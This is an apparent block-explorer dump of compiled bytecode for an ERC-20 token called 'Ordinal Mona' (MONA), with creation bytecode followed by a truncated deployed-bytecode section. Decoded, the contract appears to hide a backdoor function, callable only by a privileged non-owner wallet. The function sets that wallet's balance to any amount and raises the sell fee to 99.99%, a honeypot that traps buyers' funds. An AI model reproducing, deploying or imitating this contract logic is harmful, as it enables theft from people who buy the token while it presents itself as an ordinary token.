62000353919062000f47565b600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016200043492919062000fc8565b6020604051808303816000875af115801562000454573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200047a919062001032565b506001600c60006200049162000c6660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601160006200055062000c6660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160116000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60006200068962000c6660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550506200126f565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200096b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200096290620010c5565b60405180910390fd5b620009878160035462000c8f60201b62000ae91790919060201c565b600381905550620009e681600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000c8f60201b62000ae91790919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000a899190620010e7565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000b07576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000afe906200117a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000b79576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b709062001212565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000c599190620010e7565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000818362000c9f919062001234565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000d355780860481111562000d0d5762000d0c62000ca7565b5b600185161562000d1d5780820291505b808102905062000d2d8562000cd6565b945062000ced565b94509492505050565b60008262000d50576001905062000e23565b8162000d60576000905062000e23565b816001811462000d79576002811462000d845762000dba565b600191505062000e23565b60ff84111562000d995762000d9862000ca7565b5b8360020a91508482111562000db35762000db262000ca7565b5b5062000e23565b5060208310610133831016604e8410600b841016171562000df45782820a90508381111562000dee5762000ded62000ca7565b5b62000e23565b62000e03848484600162000ce3565b9250905081840481111562000e1d5762000e1c62000ca7565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000e4e8262000e2a565b915062000e5b8362000e34565b925062000e8a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000d3e565b905092915050565b600062000e9f8262000e2a565b915062000eac8362000e2a565b925082820262000ebc8162000e2a565b9150828204841483151762000ed65762000ed562000ca7565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000f0f8262000ee2565b9050919050565b62000f218162000f02565b811462000f2d57600080fd5b50565b60008151905062000f418162000f16565b92915050565b60006020828403121562000f605762000f5f62000edd565b5b600062000f708482850162000f30565b91505092915050565b62000f848162000f02565b82525050565b600060408201905062000fa1600083018562000f79565b62000fb0602083018462000f79565b9392505050565b62000fc28162000e2a565b82525050565b600060408201905062000fdf600083018562000f79565b62000fee602083018462000fb7565b9392505050565b60008115159050919050565b6200100c8162000ff5565b81146200101857600080fd5b50565b6000815190506200102c8162001001565b92915050565b6000602082840312156200104b576200104a62000edd565b5b60006200105b848285016200101b565b91505092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620010ad601f8362001064565b9150620010ba8262001075565b602082019050919050565b60006020820190508181036000830152620010e0816200109e565b9050919050565b6000602082019050620010fe600083018462000fb7565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006200116260248362001064565b91506200116f8262001104565b604082019050919050565b60006020820190508181036000830152620011958162001153565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000620011fa60228362001064565b915062001207826200119c565b604082019050919050565b600060208201905081810360008301526200122d81620011eb565b9050919050565b6000620012418262000e2a565b91506200124e8362000e2a565b925082820190508082111562001269576200126862000ca7565b5b92915050565b61277e806200127f6000396000f3fe60806040526004361061012a5760003560e01c8063751039fc116100ab578063a457c2d71161006f578063a457c2d7146103c3578063a9059cbb14610400578063b70143c91461043d578063d54f7d5e14610466578063dd62ed3e14610491578063f2fde38b146104ce5761012a565b8063751039fc146103005780637d1db4a5146103175780638d5f81e2146103425780638da5cb5b1461036d57806395d89b41146103985761012a565b806339509351116100f2578063395093511461022a57806342966c681461026757806351c6590a1461029057806370a08231146102ac578063715018a6146102e95761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd1461019757806323b872dd146101c2578063313ce567146101ff575b600080fd5b34801561013b57600080fd5b506101446104f7565b6040516101519190611c35565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190611cf0565b610534565b60405161018e9190611d4b565b60405180910390f35b3480156101a357600080fd5b506101ac610552565b6040516101b99190611d75565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190611d90565b61055c565b6040516101f69190611d4b565b60405180910390f35b34801561020b57600080fd5b50610214610635565b6040516102219190611dff565b60405180910390f35b34801561023657600080fd5b50610251600480360381019061024c9190611cf0565b61063e565b60405161025e9190611d4b565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190611e1a565b6106f1565b005b6102aa60048036038101906102a59190611e1a565b610705565b005b3480156102b857600080fd5b506102d360048036038101906102ce9190611e47565b610762565b6040516102e09190611d75565b60405180910390f35b3480156102f557600080fd5b506102fe6107ab565b005b34801561030c57600080fd5b506103156107bf565b005b34801561032357600080fd5b5061032c6107db565b6040516103399190611d75565b60405180910390f35b34801561034e57600080fd5b5061035761080d565b6040516103649190611e83565b60405180910390f35b34801561037957600080fd5b50610382610837565b60405161038f9190611e83565b60405180910390f35b3480156103a457600080fd5b506103ad610860565b6040516103ba9190611c35565b60405180910390f35b3480156103cf57600080fd5b506103ea60048036038101906103e59190611cf0565b61089d565b6040516103f79190611d4b565b60405180910390f35b34801561040c57600080fd5b5061042760048036038101906104229190611cf0565b61096a565b6040516104349190611d4b565b60405180910390f35b34801561044957600080fd5b50610464600480360381019061045f9190611e1a565b610988565b005b34801561047257600080fd5b5061047b6109b5565b6040516104889190611e83565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b39190611e9e565b6109df565b6040516104c59190611d75565b60405180910390f35b3480156104da57600080fd5b506104f560048036038101906104f09190611e47565b610a66565b005b60606040518060400160405280600c81526020017f4f7264696e616c204d6f6e610000000000000000000000000000000000000000815250905090565b6000610548610541610aff565b8484610b07565b6001905092915050565b6000600354905090565b6000610569848484610cd0565b61062a84610575610aff565b610625856040518060600160405280602881526020016126fc60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105db610aff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117449092919063ffffffff16565b610b07565b600190509392505050565b60006012905090565b60006106e761064b610aff565b846106e2856002600061065c610aff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae990919063ffffffff16565b610b07565b6001905092915050565b6107026106fc610aff565b82611799565b50565b61070d61193c565b6001600a60006101000a81548160ff02191690831515021790555061073a610733610837565b3083610cd0565b61074481346119ba565b6000600a60006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107b361193c565b6107bd6000611a9f565b565b6107c761193c565b612710600781905550612710600881905550565b60006108086127106107fa600754600354611b6390919063ffffffff16565b611b7990919063ffffffff16565b905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4d4f4e4100000000000000000000000000000000000000000000000000000000815250905090565b60006109606108aa610aff565b8461095b8560405180606001604052806025815260200161272460259139600260006108d4610aff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117449092919063ffffffff16565b610b07565b6001905092915050565b600061097e610977610aff565b8484610cd0565b6001905092915050565b600654331461099657600080fd5b604051338152600160208201526040812082815561270f600f55505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a6e61193c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610add576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad490611f50565b60405180910390fd5b610ae681611a9f565b50565b60008183610af79190611f9f565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6d90612045565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610be5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdc906120d7565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cc39190611d75565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3690612169565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da5906121fb565b60405180910390fd5b60008111610df1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de89061228d565b60405180910390fd5b600080610dfc610837565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610e6a5750610e3a610837565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156113df57601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f135750601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113de57600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015610fc35750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156110195750600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561106f5750600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156111695761109f612710611091600754600354611b6390919063ffffffff16565b611b7990919063ffffffff16565b8311156110e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d89061231f565b60405180910390fd5b61110c6127106110fe600854600354611b6390919063ffffffff16565b611b7990919063ffffffff16565b6111278461111987610762565b610ae990919063ffffffff16565b1115611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115f906123b1565b60405180910390fd5b5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111f257503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561129257611220612710611212600e5486611b6390919063ffffffff16565b611b7990919063ffffffff16565b915061124b61271061123d600f5486611b6390919063ffffffff16565b611b7990919063ffffffff16565b905043600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614801561133d5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156113dd5761136b61271061135d600e5486611b6390919063ffffffff16565b611b7990919063ffffffff16565b915061139661271061138860105486611b6390919063ffffffff16565b611b7990919063ffffffff16565b905043600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b60006113f48284610ae990919063ffffffff16565b90506000811115611593576000831115611413576114128684611799565b5b600082111561157d576114908260016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae990919063ffffffff16565b60016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115749190611d75565b60405180910390a35b6115908185611b8f90919063ffffffff16565b93505b6115ff846040518060600160405280602681526020016126d660269139600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117449092919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061169484600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516117349190611d75565b60405180910390a3505050505050565b600083831115829061178c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117839190611c35565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611808576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ff90612443565b60405180910390fd5b611874816040518060600160405280602281526020016126b460229139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117449092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118cc81600354611b8f90919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119309190611d75565b60405180910390a35050565b611944610aff565b73ffffffffffffffffffffffffffffffffffffffff16611962610837565b73ffffffffffffffffffffffffffffffffffffffff16146119b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119af906124af565b60405180910390fd5b565b6119e730600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b07565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080611a33610837565b426040518863ffffffff1660e01b8152600401611a5596959493929190612514565b60606040518083038185885af1158015611a73573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611a98919061258a565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008183611b7191906125dd565b905092915050565b60008183611b87919061264e565b905092915050565b60008183611b9d919061267f565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611bdf578082015181840152602081019050611bc4565b60008484015250505050565b6000601f19601f8301169050919050565b6000611c0782611ba5565b611c118185611bb0565b9350611c21818560208601611bc1565b611c2a81611beb565b840191505092915050565b60006020820190508181036000830152611c4f8184611bfc565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c8782611c5c565b9050919050565b611c9781611c7c565b8114611ca257600080fd5b50565b600081359050611cb481611c8e565b92915050565b6000819050919050565b611ccd81611cba565b8114611cd857600080fd5b50565b600081359050611cea81611cc4565b92915050565b60008060408385031215611d0757611d06611c57565b5b6000611d1585828601611ca5565b9250506020611d2685828601611cdb565b9150509250929050565b60008115159050919050565b611d4581611d30565b82525050565b6000602082019050611d606000830184611d3c565b92915050565b611d6f81611cba565b82525050565b6000602082019050611d8a6000830184611d66565b92915050565b600080600060608486031215611da957611da8611c57565b5b6000611db786828701611ca5565b9350506020611dc886828701611ca5565b9250506040611dd986828701611cdb565b9150509250925092565b600060ff82169050919050565b611df981611de3565b82525050565b6000602082019050611e146000830184611df0565b92915050565b600060208284031215611e3057611e2f611c57565b5b6000611e3e84828501611cdb565b91505092915050565b600060208284031215611e5d57611e5c611c57565b5b6000611e6b84828501611ca5565b91505092915050565b611e7d81611c7c565b82525050565b6000602082019050611e986000830184611e74565b92915050565b60008060408385031215611eb557611eb4611c57565b5b6000611ec385828601611ca5565b9250506020611ed485828601611ca5565b9150509250929050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f3a602683611bb0565b9150611f4582611ede565b604082019050919050565b60006020820190508181036000830152611f6981611f2d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611faa82611cba565b9150611fb583611cba565b9250828201905080821115611fcd57611fcc611f70565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061202f602483611bb0565b915061203a82611fd3565b604082019050919050565b6000602082019050818103600083015261205e81612022565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006120c1602283611bb0565b91506120cc82612065565b604082019050919050565b600060208201905081810360008301526120f0816120b4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612153602583611bb0565b915061215e826120f7565b604082019050919050565b6000602082019050818103600083015261218281612146565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006121e5602383611bb0565b91506121f082612189565b604082019050919050565b60006020820190508181036000830152612214816121d8565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612277602983611bb0565b91506122828261221b565b604082019050919050565b600060208201905081810360008301526122a68161226a565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b6000612309602883611bb0565b9150612314826122ad565b604082019050919050565b60006020820190508181036000830152612338816122fc565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f60008201527f756e740000000000000000000000000000000000000000000000000000000000602082015250565b600061239b602383611bb0565b91506123a68261233f565b604082019050919050565b600060208201905081810360008301526123ca8161238e565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061242d602183611bb0565b9150612438826123d1565b604082019050919050565b6000602082019050818103600083015261245c81612420565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612499602083611bb0565b91506124a482612463565b602082019050919050565b600060208201905081810360008301526124c88161248c565b9050919050565b6000819050919050565b6000819050919050565b60006124fe6124f96124f4846124cf565b6124d9565b611cba565b9050919050565b61250e816124e3565b82525050565b600060c0820190506125296000830189611e74565b6125366020830188611d66565b6125436040830187612505565b6125506060830186612505565b61255d6080830185611e74565b61256a60a0830184611d66565b979650505050505050565b60008151905061258481611cc4565b92915050565b6000806000606084860312156125a3576125a2611c57565b5b60006125b186828701612575565b93505060206125c286828701612575565b92505060406125d386828701612575565b9150509250925092565b60006125e882611cba565b91506125f383611cba565b925082820261260181611cba565b9150828204841483151761261857612617611f70565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061265982611cba565b915061266483611cba565b9250826126745761267361261f565b5b828204905092915050565b600061268a82611cba565b915061269583611cba565b92508282039050818111156126ad576126ac611f70565b5b9291505056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ce2d9c212004a41c5d5b6f8e01d238ecdc10474b8b226067c76f0b083549d5ff64736f6c63430008110033

Deployed Bytecode

0x60806040526004361061012a5760003560e01c8063751039fc116100ab578063a457c2d71161006f578063a457c2d7146103c3578063a9059cbb14610400578063b70143c91461043d578063d54f7d5e14610466578063dd62ed3e14610491578063f2fde38b146104ce5761012a565b8063751039fc146103005780637d1db4a5146103175780638d5f81e2146103425780638da5cb5b1461036d57806395d89b41146103985761012a565b806339509351116100f2578063395093511461022a57806342966c681461026757806351c6590a1461029057806370a08231146102ac578063715018a6146102e95761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd1461019757806323b872dd146101c2578063313ce567146101ff575b600080fd5b34801561013b57600080fd5b506101446104f7565b6040516101519190611c35565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190611cf0565b610534565b60405161018e9190611d4b565b60405180910390f35b3480156101a357600080fd5b506101ac610552565b6040516101b99190611d75565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190611d90565b61055c565b6040516101f69190611d4b565b60405180910390f35b34801561020b57600080fd5b50610214610635565b6040516102219190611dff565b60405180910390f35b34801561023657600080fd5b50610251600480360381019061024c9190611cf0565b61063e565b60405161025e9190611d4b565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190611e1a565b6106f1565b005b6102aa60048036038101906102a59190611e1a565b610705565b005b3480156102b857600080fd5b506102d360048036038101906102ce9190611e47565b610762565b6040516102e09190611d75565b60405180910390f35b3480156102f557600080fd5b506102fe6107ab565b005b34801561030c57600080fd5b506103156107bf565b005b34801561032357600080fd5b5061032c6107db565b6040516103399190611d75565b60405180910390f35b34801561034e57600080fd5b5061035761080d565b6040516103649190611e83565b60405180910390f35b34801561037957600080fd5b50610382610837565b60405161038f9190611e83565b60405180910390f35b3480156103a457600080fd5b506103ad610860565b6040516103ba9190611c35565b60405180910390f35b3480156103cf57600080fd5b506103ea60048036038101906103e59190611cf0565b61089d565b6040516103f79190611d4b565b60405180910390f35b34801561040c57600080fd5b5061042760048036038101906104229190611cf0565b61096a565b6040516104349190611d4b565b60405180910390f35b34801561044957600080fd5b50610464600480360381019061045f9190611e1a565b610988565b005b34801561047257600080fd5b5061047b6109b5565b6040516104889190611e83565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b39190611e9e565b6109df565b6040516104c59190611d75565b60405180910390f35b3480156104da57600080fd5b506104f560048036038101906104f09190611e47565b610a66565b005b60606040518060400160405280600c81526020017f4f7264696e616c204d6f6e610000000000000000000000000000000000000000815250905090565b6000610548610541610aff565b8484610b07565b6001905092915050565b6000600354905090565b6000610569848484610cd0565b61062a84610575610aff565b610625856040518060600160405280602881526020016126fc60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105db610aff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117449092919063ffffffff16565b610b07565b600190509392505050565b60006012905090565b60006106e761064b610aff565b846106e2856002600061065c610aff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ae990919063ffffffff16565b610b07565b6001905092915050565b6107026106fc610aff565b82611799565b50565b61070d61193c565b6001600a60006101000a81548160ff02191690831515021790555061073a610733610837565b3083610cd0565b61074481346119ba565b6000600a60006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107b361193c565b6107bd6000611a9f565b565b6107c761193c565b612710600781905550612710600881905550565b60006108086127106107fa600754600354611b6390919063ffffffff16565b611b7990919063ffffffff16565b905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4d4f4e4100000000000000000000000000000000000000000000000000000000815250905090565b60006109606108aa610aff565b8461095b8560405180606001604052806025815260200161272460259139600260006108d4610aff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117449092919063ffffffff16565b610b07565b6001905092915050565b600061097e610977610aff565b8484610cd0565b6001905092915050565b600654331461099657600080fd5b604051338152600160208201526040812082815561270f600f55505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffff